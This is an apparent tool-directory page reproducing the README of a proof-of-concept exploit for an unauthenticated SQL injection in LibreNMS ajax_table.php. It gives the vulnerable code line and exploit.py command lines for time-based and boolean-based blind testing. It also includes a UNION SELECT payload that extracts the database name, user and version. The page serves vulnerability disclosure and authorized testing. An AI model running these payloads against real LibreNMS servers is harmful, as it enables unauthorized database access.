Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mbanyamer/cve-2026-26988-librenms-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmbanyamer/cve-2026-26988-librenms-sqli

CVE-2026-26988-LibreNMS-SQLi

Proof-of-concept exploit for unauthenticated SQL injection in LibreNMS ajax_table.php, demonstrating time-based and boolean-based blind injection techniques for authorized security testing.

View Repository
157 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Author Role Country Platform Vulnerability CVE CVSS Status

CVE-2026-26988 – LibreNMS Unauthenticated SQL Injection PoC

Unauthenticated SQL Injection in LibreNMS ajax_table.php via IPv6 address search parameter.

  • Affected versions: LibreNMS ≤ 25.12.0
  • Fixed in: LibreNMS ≥ 26.1 (commit 15429580baba03ed1dd377bada1bde4b7a1175a1)
  • CVSS v4.0: 9.3 Critical
    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
  • CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command – SQL Injection)

Vulnerability Summary

The address parameter when search_type=ipv6 is split on / into address and prefix.
The prefix is directly concatenated into an SQL query without escaping:

$sql .= " AND ipv6_prefixlen = '$prefix'";

A single quote (') in the prefix part allows breaking out of the string literal → arbitrary SQL injection.

Attack Flow Diagram

flowchart TD
    A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
    B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
    C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
    D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
    E -->|5. Execute injected query| F[Return results / error / delay]
    F -->|6. Attacker observes response / timing| A

    subgraph "Injection Point"
        D
    end

    style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff

Proof-of-Concept Usage

Requirements

  • Python 3.x
  • requests library (pip install requests)

Basic Test (Syntax Error / 500)

python3 exploit.py http://target/librenms --test

Time-Based Blind Confirmation (Recommended)

python3 exploit.py http://192.168.1.50/librenms --time

→ If response takes >5–6 seconds → vulnerable

Boolean-Based Blind Test

python3 exploit.py http://target/librenms --boolean

Custom Payload Example

python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "

Files in this Repository

  • exploit.py .............. Main PoC script (rename from cve-2026-26988-poc.py if needed)
  • README.md ............... This file

Responsible Disclosure

  • Reported: February 2026 (via GitHub Security Advisory)
  • Fixed in: commit 15429580baba... → PR #18777
  • Advisory: https://github.com/librenms/librenms/security/advisories/GHSA-h3rv-q4rq-pqcv

Legal & Ethical Notice

This proof-of-concept is provided for educational and authorized security testing purposes only.

Do NOT use this code against any system or network without explicit written permission from the owner.
Unauthorized use may violate laws including (but not limited to) the Computer Fraud and Abuse Act (CFAA) in the US, or equivalent legislation in your country.

Use at your own risk.


Author: Mohammed Idrees Banyamer
Instagram: @banyamer_security
Date: February 20, 2026

Download Tool